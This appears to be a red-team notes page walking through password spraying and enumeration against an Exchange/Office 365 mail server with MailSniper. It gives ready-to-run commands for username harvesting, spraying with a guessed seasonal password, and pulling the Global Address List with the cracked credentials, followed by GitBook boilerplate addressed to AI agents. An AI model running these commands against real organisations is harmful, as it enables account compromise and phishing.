> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/phishing-and-real-world-stuff/attacking-office-365-and-exchange.md). # Attacking Office 365 & Exchange In this Case scenario i have a subdomain that is mail.redacted.io, i will now password spray against this domain so that i can phish the target, for this i will use **MailSniper** {% embed url="" %} Enumerate the NetBIOS name of the target domain with `Invoke-DomainHarvestOWA`. ``` Invoke-DomainHarvestOWA -ExchHostname mail.redacted.io ```

now we need to find the valid usernames so we can do username enumeration, you can find it by alot of methods like public website or **hunter.io,** now we will start our attack on the mail subdomain, `Invoke-UsernameHarvestOWA` uses a timing attack to validate which (if any) of these usernames are valid. ``` Invoke-UsernameHarvestOWA -ExchHostname mail.redacted.io -Domain redacted.io -UserList .\Desktop\possible.txt -OutFile .\Desktop\valid.txt ```

we have found 3 valid usernames now we will try to password spray as well using mailsniper and we will use the password of Summer2022 just to test because alot of organizations are using the default password ``` Invoke-PasswordSprayOWA -ExchHostname mail.redacted.io -UserList .\Desktop\valid.txt -Password Summer2022 ```

now we have the valid username and password so we need to enumerate some more information from these valid credentials so we will try to download the GAL list which is **GLOABL ADDRESS LIST** that contains the list of emails and some other potential data ``` Get-GlobalAddressList -ExchHostname mail.redacted.io -UserName redacted.io\iyates -Password Summer2022 -OutFile .\Desktop\gal.txt ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://notes.programmersecurity.com/phishing-and-real-world-stuff/attacking-office-365-and-exchange.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.